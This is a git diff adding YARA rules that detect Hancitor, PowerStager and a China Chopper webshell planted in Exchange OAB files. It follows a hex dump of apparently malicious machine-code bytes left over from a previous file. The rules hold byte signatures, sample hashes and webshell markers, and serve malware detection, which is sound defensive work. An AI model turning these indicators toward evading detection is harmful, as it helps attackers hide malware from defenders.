084c07413b965000000663b0d0c90400075058d419ceb0233c0221d149040003005029040000fbeebb0de83e601a20390400083fd390f82f50000000fbf3d0c9040008bcf6bc965b84505d986f7e903d1c1fa088bc2c1e81f03c289442428a0109040003443a203904000a110904000b93f0000002bc8ba4a010000d3ea8bcf83c62ed3ea8b0d0490400081e12101000033ce23d06631150c9040000fbe150290400083ca0b23d033c081fd0b0100000f94c0890d04904000b9220000000bd081ca2001000033c066833d1490400017891510904000668b150c9040000f94c06633442428496623d085c975f88b4c242832c0660fbed0a2029040000fbec04169c04a010000210d109040000fb7ca894c241c33d2b96b020000f7f1a0039040008b7c241cc74424148f000000895424188a0d02904000fec00fbec080e1012d11010000ba0100000089150890400075056685ff74028bc2fec0a2009040008ac22c510c01a203904000bac700000033c04a6685ff0f95c022c12ac885d275ef8b542414880d0290400033c9813d1090400011010000b0090f94c18b7424188025029040000166890d0c9040008acad2f8c0f8070a0503904000660fbec8b83fc52543f7e2a110904000c1ea0669d2f40000002bc20344241466890d149040008bf80fbe0d02904000b8c99c1a94f7ee03d6c1fa098bc2c1e81f03d069d2750300008bc12bc203c60fbf74241c8944242483f92e0f94c0320500904000897c24203409a20090400033c081fe220100000f94c023c583f0097410803d03904000007407b801000000eb0233c03005009040008b4c2418a003904000d3e632c3340133c93b742424a2019040000f94c1330d08904000750d66390d0c904000750433c0eb05b80100000028050290400033c03905049040008b5c24300f94c0c744242c45010000a310904000b8b3428c7df7e7c1ea07b8b3cf213589542434f7e78bc72bc2d1e803c2c1e80889442438833d0890400000751366837c241c00750b8d530985d2750433c9eb05b9010000008a1501904000a00090400032c1660fbef2662bf38bcb66d3e60fbec8a2009040008b4424243bc80f94c10ac80fb6c18a0d039040000fbefa8bd702c881f222010000740485db75108b150490400039542414740a33c0eb0b8b1504904000b8010000008b5c24206633f0a1109040006689350c9040008b74243469f6050100002bde33c203da0fb7d38954241cbe340000008ad980eb6f0acb83ee0175f4
+
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/paloalto/hancitor_stage1.yar b/yara-mikesxrs/paloalto/hancitor_stage1.yar
new file mode 100644
index 0000000..2d8d485
--- /dev/null
+++ b/yara-mikesxrs/paloalto/hancitor_stage1.yar
@@ -0,0 +1,16 @@
+rule hancitor_stage1
+    {
+        meta:
+            author      = "Jeff White - jwhite@paloaltonetworks.com @noottrak"
+            date        = "26AUG2016"
+            reference   = "https://github.com/pan-unit42/public_tools/tree/master/hancitor"
+
+        strings:
+            $byte_code = { EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 32 ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? BD ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? A2 ?? ?? ?? ?? 33 ?? 0F B7 ?? ?? ?? ?? ?? B0 ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? 32 ?? F7 ?? 81 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? 8? ?? ?? ?? ?? ?? 33 ?? BA ?? ?? ?? ?? 66 03 ?? 66 A3 ?? ?? ?? ?? B0 ?? 2A ?? B2 ?? 0F B7 ?? A2 ?? ?? ?? ?? 84 ?? 74 ?? B8 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 30 ?? ?? ?? ?? ?? 22 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 81 ?? ?? ?? ?? ?? 8? ?? 33 ?? 83 ?? ?? 74 ?? 66 85 ?? 74 ?? F6 ?? ?? 74 ?? 8D ?? ?? EB ?? 33 ?? 33 ?? B9 ?? ?? ?? ?? 66 03 ?? 66 89 ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 0F B7 ?? B2 ?? 2A ?? B0 ?? 8? ?? ?? ?? 8? ?? ?? ?? ?? ?? 84 ?? 74 ?? B9 ?? ?? ?? ?? 66 3B ?? ?? ?? ?? ?? 75 ?? 8D ?? ?? EB ?? 33 ?? 22 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 0F BE ?? B0 ?? 83 ?? ?? A2 ?? ?? ?? ?? 83 ?? ?? 0F 82 ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 8? ?? 6B ?? ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8? ?? C1 ?? ?? 03 ?? 8? ?? ?? ?? A0 ?? ?? ?? ?? 34 ?? A2 ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? BA ?? ?? ?? ?? D3 ?? 8? ?? 83 ?? ?? D3 ?? 8? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 33 ?? 23 ?? 66 31 ?? ?? ?? ?? ?? 0F BE ?? ?? ?? ?? ?? 83 ?? ?? 23 ?? 33 ?? 81 ?? ?? ?? ?? ?? 0F 94 ?? 8? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0B ?? 81 ?? ?? ?? ?? ?? 33 ?? 66 83 ?? ?? ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 66 8B ?? ?? ?? ?? ?? 0F 94 ?? 66 33 ?? ?? ?? 49 66 23 ?? 85 ?? 75 ?? 8? ?? ?? ?? 32 ?? 66 0F BE ?? A2 ?? ?? ?? ?? 0F BE ?? 41 69 ?? ?? ?? ?? ?? 21 ?? ?? ?? ?? ?? 0F B7 ?? 8? ?? ?? ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? A0 ?? ?? ?? ?? 8? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 8? ?? ?? ?? 8? ?? ?? ?? ?? ?? FE ?? 0F BE ?? 80 ?? ?? 2D ?? ?? ?? ?? BA ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? 75 ?? 66 85 ?? 74 ?? 8? ?? FE ?? A2 ?? ?? ?? ?? 8? ?? 2C ?? 0C ?? A2 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 ?? 4A 66 85 ?? 0F 95 ?? 22 ?? 2A ?? 85 ?? 75 ?? 8? ?? ?? ?? 8? ?? ?? ?? ?? ?? 33 ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? B0 ?? 0F 94 ?? 8? ?? ?? ?? 80 ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 8? ?? D2 ?? C0 ?? ?? 0A ?? ?? ?? ?? ?? 66 0F BE ?? B8 ?? ?? ?? ?? F7 ?? A1 ?? ?? ?? ?? C1 ?? ?? 69 ?? ?? ?? ?? ?? 2B ?? 03 ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 8? ?? 0F BE ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8? ?? C1 ?? ?? 03 ?? 69 ?? ?? ?? ?? ?? 8? ?? 2B ?? 03 ?? 0F BF ?? ?? ?? 8? ?? ?? ?? 83 ?? ?? 0F 94 ?? 32 ?? ?? ?? ?? ?? 8? ?? ?? ?? 34 ?? A2 ?? ?? ?? ?? 33 ?? 81 ?? ?? ?? ?? ?? 0F 94 ?? 23 ?? 83 ?? ?? 74 ?? 80 ?? ?? ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 33 ?? 30 ?? ?? ?? ?? ?? 8? ?? ?? ?? A0 ?? ?? ?? ?? D3 ?? 32 ?? 34 ?? 33 ?? 3B ?? ?? ?? A2 ?? ?? ?? ?? 0F 94 ?? 33 ?? ?? ?? ?? ?? 75 ?? 66 39 ?? ?? ?? ?? ?? 75 ?? 33 ?? EB ?? B8 ?? ?? ?? ?? 28 ?? ?? ?? ?? ?? 33 ?? 39 ?? ?? ?? ?? ?? 8? ?? ?? ?? 0F 94 ?? C7 ?? ?? ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? B8 ?? ?? ?? ?? 8? ?? ?? ?? F7 ?? 8? ?? 2B ?? D1 ?? 03 ?? C1 ?? ?? 8? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 66 83 ?? ?? ?? ?? 75 ?? 8D ?? ?? 85 ?? 75 ?? 33 ?? EB ?? B9 ?? ?? ?? ?? 8? ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 32 ?? 66 0F BE ?? 66 2B ?? 8? ?? 66 D3 ?? 0F BE ?? A2 ?? ?? ?? ?? 8? ?? ?? ?? 3B ?? 0F 94 ?? 0A ?? 0F B6 ?? 8? ?? ?? ?? ?? ?? 0F BE ?? 8? ?? 02 ?? 81 ?? ?? ?? ?? ?? 74 ?? 85 ?? 75 ?? 8? ?? ?? ?? ?? ?? 39 ?? ?? ?? 74 ?? 33 ?? EB ?? 8? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8? ?? ?? ?? 66 33 ?? A1 ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 8? ?? ?? ?? 69 ?? ?? ?? ?? ?? 2B ?? 33 ?? 03 ?? 0F B7 ?? 8? ?? ?? ?? BE ?? ?? ?? ?? 8? ?? 80 ?? ?? 0A ?? 83 ?? ?? 75 ?? }
+	$meta_CN = "SynapticosSoft, Corporation." wide ascii // CompanyName
+	$meta_PN = "ngqlgdA" wide ascii // ProductName
+	$meta_OF = "MpklYuere.exe" wide ascii // OriginalFilename	
+
+        condition:
+            uint16be(0) == 0x4D5A and ($byte_code or all of ($meta_*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/paloalto/powerstager.yar b/yara-mikesxrs/paloalto/powerstager.yar
new file mode 100644
index 0000000..1d4ffa0
--- /dev/null
+++ b/yara-mikesxrs/paloalto/powerstager.yar
@@ -0,0 +1,40 @@
+rule powerstager
+{
+    meta:
+      author = "Jeff White - jwhite@paloaltonetworks.com @noottrak"
+      date = "02JAN2018"
+      hash1 = "758097319d61e2744fb6b297f0bff957c6aab299278c1f56a90fba197795a0fa" //x86
+      hash2 = "83e714e72d9f3c500cad610c4772eae6152a232965191f0125c1c6f97004b7b5" //x64
+      description = "Detects PowerStager Windows executable, both x86 and x64"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-powerstager-analysis/"
+    
+    strings:
+      $filename = /%s\\[a-zA-Z0-9]{12}/
+      $pathname = "TEMP" wide ascii
+//    $errormsg = "The version of this file is not compatible with the version of Windows you're running." wide ascii
+      $filedesc = "Lorem ipsum dolor sit amet, consecteteur adipiscing elit" wide ascii
+      $apicall_01 = "memset"
+      $apicall_02 = "getenv"
+      $apicall_03 = "fopen"
+      $apicall_04 = "memcpy"
+      $apicall_05 = "fwrite"
+      $apicall_06 = "fclose"
+      $apicall_07 = "CreateProcessA"
+      $decoder_x86_01 = { 8D 95 [4] 8B 45 ?? 01 D0 0F B6 18 8B 4D ?? }
+      $decoder_x86_02 = { 89 C8 0F B6 84 05 [4] 31 C3 89 D9 8D 95 [4] 8B 45 ?? 01 D0 88 08 83 45 [2] 8B 45 ?? 3D }
+      $decoder_x64_01 = { 8B 85 [4] 48 98 44 0F [7] 8B 85 [4] 48 63 C8 48 }
+      $decoder_x64_02 = { 48 89 ?? 0F B6 [3-6] 44 89 C2 31 C2 8B 85 [4] 48 98 }
+
+    condition:
+      uint16be(0) == 0x4D5A
+        and
+      all of ($apicall_*)
+        and
+      $filename
+        and
+      $pathname
+        and
+      $filedesc
+        and
+      (2 of ($decoder_x86*) or 2 of ($decoder_x64*))
+}
diff --git a/yara-mikesxrs/paloalto/webshell_chinachopper_oab.yar b/yara-mikesxrs/paloalto/webshell_chinachopper_oab.yar
new file mode 100644
index 0000000..b9bb29c
--- /dev/null
+++ b/yara-mikesxrs/paloalto/webshell_chinachopper_oab.yar
@@ -0,0 +1,70 @@
+rule webshell_chinachopper_oab
+ 
+{
+ 
+meta:
+ 
+author = "Jeff White (Palo Alto Networks) @noottrak"
+
+reference = "https://unit42.paloaltonetworks.com/china-chopper-webshell/"
+ 
+date = "02MAR2021"
+ 
+hash01 = "e8ea17cd1de6d3389c792cce8c0ff1927a6386f0ef32ab0b097763de1f86ffc8"
+ 
+hash02 = "34f9944a85ffba58f3fa60c5dc32da1ce6743dae261e1820ef6c419808757112"
+ 
+hash03 = "55fbfab29f9d2c26f81f1ff901af838110d7f76acc81f14b791a8903aa8b8425"
+ 
+hash04 = "6e75bbcdd22ec9df1c7796e381a83f88e3ae82f5698c6b31b64d8f11e9cfd867"
+ 
+strings:
+ 
+// Detect OAB file
+ 
+$OAB01 = "ExternalUrl" ascii // Contains webshell
+ 
+$OAB02 = "InternalUrl" ascii
+ 
+$OAB03 = "ExchangeVersion" ascii
+ 
+$OAB04 = "WhenChangedUTC" ascii
+ 
+// Detect injected Url variants
+ 
+$HTTP01 = "http://f/" ascii nocase
+ 
+$HTTP02 = "http://g/" ascii nocase
+ 
+$HTTP03 = "http://p/" ascii nocase
+ 
+// Detect ChinaChopper variants
+ 
+$websh01 = "<script language=\"JScript\"" ascii nocase
+ 
+$websh02 = "<script language=\"c#\"" ascii nocase
+ 
+$websh03 = "<script runat=\"server\"" ascii nocase
+ 
+// Detect webshell anchors
+ 
+$cc01 = "Request" ascii nocase
+ 
+$cc02 = "Page_Load" ascii nocase
+ 
+ 
+ 
+ 
+// Detect injected pattern, no webshell
+ 
+$non = /http:\/\/[a-z]\/[a-z0-9]+/
+ 
+condition:
+ 
+(all of ($OAB*) and 1 of ($HTTP*) and 1 of ($websh*) and all of ($cc*))
+ 
+or
+ 
+(all of ($OAB*) and $non)
+ 
+}
diff --git a/yara-mikesxrs/patrickrolsen/Armadillo_v1xx__v2xx.yar b/yara-mikesxrs/patrickrolsen/Armadillo_v1xx__v2xx.yar
new file mode 100644
index 0000000..fdeae4f
--- /dev/null
